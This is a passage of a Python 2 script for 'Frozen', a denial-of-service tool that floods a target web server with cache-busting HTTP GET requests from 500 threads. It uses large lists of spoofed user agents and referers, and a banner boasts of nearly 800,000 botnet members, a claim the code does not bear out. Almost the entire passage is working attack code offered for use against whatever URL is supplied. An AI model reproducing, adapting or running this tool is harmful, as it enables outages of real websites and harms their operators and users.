  3166.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)')
  3167.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)')
  3168.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)')
  3169.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)')
  3170.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)')
  3171.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)')
  3172.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)')
  3173.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)')
  3174.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)')
  3175.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)')
  3176.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)')
  3177.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)')  
  3178.         headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)')
  3179.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)')
  3180.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)')
  3181.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)')
  3182.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)')
  3183.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)')
  3184.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)')
  3185.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)')
  3186.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)')
  3187.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)')
  3188.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)')
  3189.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)')
  3190.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)')
  3191.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)')
  3192.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)')
  3193.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)')
  3194.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)')
  3195.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3196.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3197.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  3199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3200.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3201.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3202.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3204.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3205.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3206.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3207.         return(headers_useragents)
  3208.  
  3209. # generates a referer array
  3210. def referer_list():
  3211.     global headers_referers
  3212.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3213.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  3214.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3215.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  3216.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  3217.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3218.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3219.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  3220.     headers_referers.append('http://www.google.com/?q=')
  3221.     headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  3222.     headers_referers.append('http://vk.com/profile.php?redirect=')
  3223.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3224.     headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  3225.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  3226.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  3227.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3228.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  3229.     headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  3230.     headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  3231.     headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  3232.     headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  3233.     headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  3234.     headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  3235.     headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  3236.     headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  3237.     headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  3238.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  3239.     headers_referers.append('http://www.bing.com/search?q=')
  3240.     headers_referers.append('https://www.yandex.com/yandsearch?text=')
  3241.     headers_referers.append('https://duckduckgo.com/?q=')
  3242.     headers_referers.append('http://www.ask.com/web?q=')
  3243.     headers_referers.append('http://search.aol.com/aol/search?q=')
  3244.     headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  3245.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  3246.     headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  3247.     headers_referers.append('http://host-tracker.com/check_page/?furl=')
  3248.     headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  3249.     headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  3250.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  3251.     headers_referers.append('http://www.google.com/?q=')
  3252.     headers_referers.append('http://www.google.com/?q=')
  3253.     headers_referers.append('http://www.google.com/?q=')
  3254.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3255.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3256.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3257.     headers_referers.append('http://filehippo.com/search?q=')
  3258.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3259.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3260.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3261.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3262.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3263.     headers_referers.append('http://www.ustream.tv/search?q=')
  3264.     headers_referers.append('http://www.ted.com/search?q=')
  3265.     headers_referers.append('http://funnymama.com/search?q=')
  3266.     headers_referers.append('http://itch.io/search?q=')
  3267.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3268.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3269.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3270.     headers_referers.append('https://play.google.com/store/search?q=')
  3271.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3272.     headers_referers.append('http://www.reddit.com/search?q=')
  3273.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3274.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3275.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3276.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3277.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3278.     headers_referers.append('http://millercenter.org/search?q=')
  3279.     headers_referers.append('https://www.npmjs.com/search?q=')
  3280.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3281.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3282.     headers_referers.append('http://ytmnd.com/search?q=')
  3283.     headers_referers.append('http://www.google.com/?q=')
  3284.     headers_referers.append('http://www.google.com/?q=')
  3285.     headers_referers.append('http://www.google.com/?q=')
  3286.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3287.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3288.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3289.     headers_referers.append('http://filehippo.com/search?q=')
  3290.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3291.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3292.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3293.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3294.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3295.     headers_referers.append('http://www.ustream.tv/search?q=')
  3296.     headers_referers.append('http://www.ted.com/search?q=')
  3297.     headers_referers.append('http://funnymama.com/search?q=')
  3298.     headers_referers.append('http://itch.io/search?q=')
  3299.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3300.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3301.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3302.     headers_referers.append('https://play.google.com/store/search?q=')
  3303.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3304.     headers_referers.append('http://www.reddit.com/search?q=')
  3305.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3306.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3307.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3308.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3309.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3310.     headers_referers.append('http://millercenter.org/search?q=')
  3311.     headers_referers.append('https://www.npmjs.com/search?q=')
  3312.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3313.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3314.     headers_referers.append('http://ytmnd.com/search?q=')
  3315.     headers_referers.append('http://www.google.com/?q=')
  3316.     headers_referers.append('http://www.google.com/?q=')
  3317.     headers_referers.append('http://www.google.com/?q=')
  3318.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3319.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3320.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3321.     headers_referers.append('http://filehippo.com/search?q=')
  3322.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3323.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3324.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3325.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3326.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3327.     headers_referers.append('http://www.ustream.tv/search?q=')
  3328.     headers_referers.append('http://www.ted.com/search?q=')
  3329.     headers_referers.append('http://funnymama.com/search?q=')
  3330.     headers_referers.append('http://itch.io/search?q=')
  3331.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3332.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3333.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3334.     headers_referers.append('https://play.google.com/store/search?q=')
  3335.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3336.     headers_referers.append('http://www.reddit.com/search?q=')
  3337.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3338.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3339.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3340.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3341.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3342.     headers_referers.append('http://millercenter.org/search?q=')
  3343.     headers_referers.append('https://www.npmjs.com/search?q=')
  3344.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3345.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3346.     headers_referers.append('http://ytmnd.com/search?q=')
  3347.     headers_referers.append('http://www.google.com/?q=')
  3348.     headers_referers.append('http://www.google.com/?q=')
  3349.     headers_referers.append('http://www.google.com/?q=')
  3350.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3351.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3352.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3353.     headers_referers.append('http://filehippo.com/search?q=')
  3354.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3355.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3356.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3357.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3358.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3359.     headers_referers.append('http://www.ustream.tv/search?q=')
  3360.     headers_referers.append('http://www.ted.com/search?q=')
  3361.     headers_referers.append('http://funnymama.com/search?q=')
  3362.     headers_referers.append('http://itch.io/search?q=')
  3363.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3364.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3365.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3366.     headers_referers.append('https://play.google.com/store/search?q=')
  3367.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3368.     headers_referers.append('http://www.reddit.com/search?q=')
  3369.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3370.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3371.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3372.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3373.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3374.     headers_referers.append('http://millercenter.org/search?q=')
  3375.     headers_referers.append('https://www.npmjs.com/search?q=')
  3376.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3377.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3378.     headers_referers.append('http://ytmnd.com/search?q=')
  3379.     headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  3380.     headers_referers.append('http://www.google.com/?q=')
  3381.     headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  3382.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  3383.     headers_referers.append('http://www.google.com/translate?u=')
  3384.     headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  3385.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  3386.     headers_referers.append('http://www.bing.com/search?q=')
  3387.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  3388.     headers_referers.append('https://play.google.com/store/search?q=')
  3389.     headers_referers.append('http://www.google.com/?q=')
  3390.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3391.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3392.     headers_referers.append('http://' + host + '/')
  3393.     return(headers_referers)
  3394. #builds random ascii string
  3395. def buildblock(size):
  3396.     out_str = ''
  3397.     for i in range(0, size):
  3398.         a = random.randint(65, 160)
  3399.         out_str += chr(a)
  3400.     return(out_str)
  3401.  
  3402. def usage():
  3403.     print ' Total Botnets: 798,453'
  3404.     print ' ./Usage: Frozen.py <url>'
  3405.     print ' Example: Frozen.py http://example.com/'
  3406.     print "\a"
  3407. print \
  3408. """
  3409.  
  3410. `;                                                        ;,
  3411. `@,                                                    ,@@
  3412.  `@@,                                                ;@;'
  3413.   ,:;@;,                                          .;@;:,
  3414.   `@;:;@@;,                                    ,;@@;::@'
  3415.     `@;::;@@;,.                            .,;@@;;:;@'
  3416.       ;:;;;;;@@@@,;@, ,            , ,@;,;@@@;;;;;;:
  3417.       `:;;:;;;;;@@@@@@@;  .;;;;,  ;@@@@@@@;;;;;;;;;'
  3418.         `:;;@@;:;@@@@@@@@  ,;;,  @@@@@@@@;;;;@@;:'
  3419.            `::;;;;@@@;;@@@;';;;,@@;:@@@@;;:;;;'
  3420.              `:;;;;;@@@;;:@@;;@@;;@@@@;;;;;:'
  3421.                   ```;@@@@@@@@@@@@@@;'''
  3422.                        ;@@@@;;@@@@;
  3423.                      ,@@@;:;;;;;;@@@,
  3424.                     ;:;@:',;;;;@,';@;
  3425.                           ;@@;;@@;                Frozen Denial Of Service Tool
  3426.                           ;@@@;@@;                  ... Created By TSG-TIM ...
  3427.                           :;@;;;@;                
  3428.                            ;;;;;;'
  3429.                            `;;;;;
  3430.                             `:;'
  3431.                              `'
  3432.                              
  3433. Frozen Most Dangerios Web Server Slow Get Request ( Denial Of Service ) Tool Created By TSG-TIM                                                    
  3434. """
  3435.  
  3436.    
  3437. #http request
  3438. def httpcall(url):
  3439.     useragent_list()
  3440.     referer_list()
  3441.     code=0
  3442.     if url.count("?")>0:
  3443.         param_joiner="&"
  3444.     else:
  3445.         param_joiner="?"
  3446.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  3447.     request.add_header('User-Agent', random.choice(headers_useragents))
  3448.     request.add_header('Cache-Control', 'no-cache')
  3449.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  3450.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100)))
  3451.     request.add_header('Keep-Alive', random.randint(110,160))
  3452.     request.add_header('Connection', 'keep-alive')
  3453.     request.add_header('Host',host)
  3454.     try:
  3455.             urllib2.urlopen(request)
  3456.     except urllib2.HTTPError, e:
  3457.             #print e.code
  3458.             set_flag(1)
  3459.             print "................... Bots connected to the site packets Generating ..................."
  3460.             code=500
  3461.     except urllib2.URLError, e:
  3462.             #print e.reason
  3463.             sys.exit()
  3464.     else:
  3465.             inc_counter()
  3466.             urllib2.urlopen(request)
  3467.     return(code)       
  3468.  
  3469.    
  3470. #http caller thread
  3471. class HTTPThread(threading.Thread):
  3472.     def run(self):
  3473.         try:
  3474.             while flag<2:
  3475.                 code=httpcall(url)
  3476.                 if (code==500) & (safe==1):
  3477.                     set_flag(2)
  3478.         except Exception, ex:
  3479.             pass
  3480.  
  3481. # monitors http threads and counts requests
  3482. class MonitorThread(threading.Thread):
  3483.     def run(self):
  3484.         previous=request_counter
  3485.         while flag==0:
  3486.             if (previous+100<request_counter) & (previous<>request_counter):
  3487.                 previous=request_counter
  3488.         if flag==2:
  3489.             print "\n Bots Connets to the Site Random Packets Generated"
  3490.  
  3491. #execute
  3492. if len(sys.argv) < 2:
  3493.     usage()
  3494.     sys.exit()
  3495. else:
  3496.     if sys.argv[1]=="help":
  3497.         usage()
  3498.         sys.exit()
  3499.     else:
  3500.         print "Frozen Dos  Attack Started Connecting to The Site"
  3501.         print "zombie-servers is checking......"
  3502.         if len(sys.argv)== 3:
  3503.             if sys.argv[2]=="safe":
  3504.                 set_safe()
  3505.         url = sys.argv[1]
  3506.         if url.count("/")==2:
  3507.             url = url + "/"
  3508.         m = re.search('http\://([^/]*)/?.*', url)
  3509.         host = m.group(1)
  3510.         for i in range(500):
  3511.             t = HTTPThread()
  3512.             t.start()
  3513.         t = MonitorThread()
  3514.         t.start()
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